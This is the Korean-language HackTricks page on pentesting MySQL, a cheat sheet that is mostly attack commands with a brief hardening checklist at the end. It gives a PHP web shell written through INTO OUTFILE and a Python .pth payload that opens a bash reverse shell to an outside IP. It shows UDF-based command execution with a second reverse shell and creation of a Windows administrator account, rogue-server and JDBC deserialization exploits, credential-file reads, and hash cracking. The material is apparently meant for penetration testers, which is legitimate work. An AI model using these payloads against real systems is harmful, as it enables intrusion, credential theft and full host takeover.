3306 - Pentesting Mysql
Reading time: 17 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
MySQL은 무료로 제공되는 오픈 소스 **Relational Database Management System (RDBMS)**로 설명될 수 있습니다. 이는 **Structured Query Language (SQL)**을 기반으로 작동하며 데이터베이스의 관리 및 조작을 가능하게 합니다.
기본 포트: 3306
3306/tcp open mysql
연결
로컬
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
원격
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
외부 Enumeration
일부 enumeration 작업은 valid credentials가 필요합니다
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
Brute force
임의의 바이너리 데이터 쓰기
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
MySQL 명령어
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Get a shell with the mysql client user
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
MySQL 권한 열거
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
# Get users, permissions & hashes
SELECT * FROM mysql.user;
#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html
MySQL File RCE
INTO OUTFILE → Python .pth
RCE (사이트별 구성 훅)
고전적인 INTO OUTFILE
원시 기능을 악용하면 이후에 Python 스크립트를 실행하는 대상에서 임의 코드 실행을 얻을 수 있습니다.
INTO OUTFILE
을 사용해site.py
에 의해 자동으로 로드되는 디렉터리(예:.../lib/python3.10/site-packages/
) 안에 커스텀.pth
파일을 생성합니다..pth
파일은import
로 시작하는 단 한 줄을 포함할 수 있으며, 그 뒤에 오는 임의의 Python 코드가 인터프리터가 시작될 때마다 실행됩니다.- 인터프리터가 CGI 스크립트(예: shebang이
#!/bin/python
인/cgi-bin/ml-draw.py
)에 의해 암묵적으로 실행될 때, 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다(FortiWeb는 이를 root로 실행함 → 사전 인증 전체 RCE).
예시 .pth
페이로드(한 줄, 최종 SQL 페이로드에는 공백을 포함할 수 없으므로 hex/UNHEX()
또는 문자열 연결이 필요할 수 있음):
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
파일을 UNION 쿼리로 생성하는 예 (공백 문자를 /**/
로 대체하여 sscanf("%128s")
의 공백 필터를 우회하고 전체 길이를 ≤128 바이트로 유지):
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
중요한 제한사항 및 우회 방법:
INTO OUTFILE
덮어쓸 수 없습니다; 새 파일명을 선택하세요.- 파일 경로는 MySQL’s CWD 기준으로 해석되므로,
../../
를 접두사로 사용하면 경로를 단축하고 절대 경로 제한을 우회하는 데 도움이 됩니다. - 공격자 입력이
%128s
(또는 유사한 형식)로 추출되는 경우, 공백이 있으면 페이로드가 잘립니다; 공백 대신 MySQL 주석 시퀀스/**/
또는/*!*/
를 사용하세요. - 쿼리를 실행하는 MySQL 사용자는
FILE
권한이 필요하지만, 많은 어플라이언스(예: FortiWeb)에서는 서비스가 root로 실행되어 거의 모든 곳에 쓰기 권한을 제공합니다.
.pth
을 배치한 후, python 인터프리터가 처리하는 임의의 CGI를 요청하면 코드 실행을 얻을 수 있습니다:
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
Python 프로세스는 악성 .pth
를 자동으로 import하여 shell payload를 실행합니다.
# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
MySQL arbitrary read file by client
실제로 load data local into a table를 사용해 테이블로 파일을 로드하려고 하면, MySQL 또는 MariaDB 서버는 해당 content of a file을 client to read it하여 그 내용을 전송하도록 요청합니다. 그런 다음, mysql client를 조작해 자신의 MySQL server에 연결시키면 arbitrary files를 읽을 수 있습니다.
다음의 경우에 이러한 동작이 발생함에 유의하세요:
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
("local" 단어에 주목하세요)\ "local"을 빼면 다음을 얻을 수 있습니다:
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
초기 PoC: https://github.com/allyshka/Rogue-MySql-Server
이 논문에서는 공격에 대한 완전한 설명과 이를 RCE로 확장하는 방법까지 확인할 수 있습니다: https://paper.seebug.org/1113/
여기에서 공격 개요를 확인할 수 있습니다: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
POST
Mysql 사용자
mysql이 root로 실행 중이라면 매우 흥미롭습니다:
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
mysqld.cnf의 위험한 설정
MySQL 서비스 구성에서는 동작과 보안 조치를 정의하기 위해 여러 설정이 사용됩니다:
user
설정은 MySQL 서비스가 실행될 때 사용할 사용자 계정을 지정하는 데 사용됩니다.password
설정은 MySQL 사용자에 연결된 비밀번호를 설정하는 데 사용됩니다.- **
admin_address
**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다. debug
변수는 현재의 디버깅 구성(로그에 민감한 정보를 포함할 수 있음)을 나타냅니다.- **
sql_warnings
**는 경고 발생 시 단일 행 INSERT 문에 대해 정보 문자열이 생성되는지 여부를 제어하며, 이 정보는 로그에 민감한 데이터를 포함할 수 있습니다. - **
secure_file_priv
**는 데이터 가져오기/내보내기 작업의 범위를 제한하여 보안을 강화합니다.
Privilege escalation
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
Privilege Escalation via library
만약 mysql server is running as root (또는 더 권한이 높은 다른 사용자)라면 명령을 실행시킬 수 있습니다. 이를 위해서는 user defined functions를 사용해야 합니다. 그리고 user defined 함수를 생성하려면 mysql이 실행 중인 OS용 library가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내부에서 locate "*lib_mysqludf_sys*"
명령으로 찾을 수 있습니다. .so
파일은 linux 라이브러리이고 .dll
파일은 Windows 라이브러리입니다. 필요한 것을 선택하세요.
해당 라이브러리가 없다면, 직접 찾아보거나 이 linux C code를 다운로드하여 compile it inside the linux vulnerable machine 하세요:
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
라이브러리를 확보했으니, 권한이 있는 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르세요:
Linux
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
윈도우
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
Windows 팁: SQL에서 NTFS ADS로 디렉터리 생성
NTFS에서는 파일 write primitive만 존재하는 경우에도 alternate data stream을 사용해 디렉터리 생성을 강제할 수 있습니다. 만약 classic UDF chain이 plugin
디렉터리를 기대하지만 해당 디렉터리가 존재하지 않거나 @@plugin_dir
가 알려져 있지 않거나 잠겨 있다면, 먼저 ::$INDEX_ALLOCATION
로 생성할 수 있습니다:
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
이것은 UDF drops에 필요한 폴더 구조를 부트스트랩하여 Windows stacks에서 제한된 SELECT ... INTO OUTFILE
를 보다 완전한 primitive로 만듭니다.
파일에서 MySQL 자격 증명 추출
파일 /etc/mysql/debian.cnf 안에서 사용자 debian-sys-maint의 평문 비밀번호를 찾을 수 있습니다.
cat /etc/mysql/debian.cnf
이 자격증명을 사용해 mysql 데이터베이스에 로그인할 수 있습니다.
파일: /var/lib/mysql/mysql/user.MYD 안에서 MySQL 사용자의 모든 해시 (데이터베이스 내의 mysql.user에서 추출할 수 있는 것들).
다음과 같이 추출할 수 있습니다:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
로깅 활성화
다음 줄의 주석을 해제하여 /etc/mysql/my.cnf
내부에서 mysql 쿼리 로깅을 활성화할 수 있습니다:
유용한 파일
구성 파일
- windows *
- config.ini
- my.ini
- windows\my.ini
- winnt\my.ini
- <InstDir>/mysql/data/
- unix
- my.cnf
- /etc/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- ~/.my.cnf
- /etc/my.cnf
- Command History
- ~/.mysql.history
- Log Files
- connections.log
- update.log
- common.log
기본 MySQL 데이터베이스/테이블
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS
HackTricks 자동 명령어
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2023-2025 주요 내용 (신규)
JDBC propertiesTransform
deserialization (CVE-2023-21971)
Connector/J <= 8.0.32부터, JDBC URL에 영향을 줄 수 있는 공격자(예: 연결 문자열을 요구하는 서드파티 소프트웨어)는 propertiesTransform
매개변수를 통해 client 측에서 임의의 클래스를 로드하도록 요청할 수 있습니다. 만약 class-path에 존재하는 gadget이 로드 가능하면, 이는 remote code execution in the context of the JDBC client (pre-auth, 유효한 자격 증명이 필요하지 않음)를 초래합니다. 최소한의 PoC는 다음과 같습니다:
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
Running Evil.class
can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set propertiesTransform
on an allow-list.
(자세한 내용은 Snyk write-up 참조)
JDBC 클라이언트를 대상으로 한 Rogue / Fake MySQL 서버 공격
Several open-source tools implement a partial MySQL protocol in order to attack JDBC clients that connect outwards:
- mysql-fake-server (Java, 파일 읽기 및 deserialization 익스플로잇 지원)
- rogue_mysql_server (Python, 유사 기능)
Typical attack paths:
- Victim application loads
mysql-connector-j
withallowLoadLocalInfile=true
orautoDeserialize=true
. - Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control.
- Malicious server responds with crafted packets that trigger either
LOCAL INFILE
arbitrary file read or Java deserialization → RCE.
Example one-liner to start a fake server (Java):
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
그런 다음 피해자 애플리케이션을 jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true
로 가리키고, username 필드에 파일명을 base64로 인코딩하여 /etc/passwd
를 읽습니다 (fileread_/etc/passwd
→ base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=
).
caching_sha2_password
해시 크래킹
MySQL ≥ 8.0은 비밀번호 해시를 $mysql-sha2$
(SHA-256) 형식으로 저장합니다. Hashcat(모드 21100)과 John-the-Ripper (--format=mysql-sha2
)는 2023년부터 오프라인 크래킹을 지원합니다. authentication_string
열을 덤프하여 바로 입력하세요:
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
하드닝 체크리스트 (2025)
• 대부분의 파일 읽기/쓰기 원시 기능을 차단하려면 LOCAL_INFILE=0
및 --secure-file-priv=/var/empty
를 설정하세요.
• 애플리케이션 계정에서 FILE
권한을 제거하세요.
• Connector/J에서는 allowLoadLocalInfile=false
, allowUrlInLocalInfile=false
, autoDeserialize=false
, propertiesTransform=
(빈 값)을 설정하세요.
• 사용하지 않는 인증 플러그인을 비활성화하고 require TLS를 적용하세요 (require_secure_transport = ON
).
• CREATE FUNCTION
, INSTALL COMPONENT
, INTO OUTFILE
, LOAD DATA LOCAL
및 갑작스러운 SET GLOBAL
명령을 모니터링하세요.
참고 자료
-
Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)
-
mysql-fake-server – Rogue MySQL server for JDBC client attacks
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.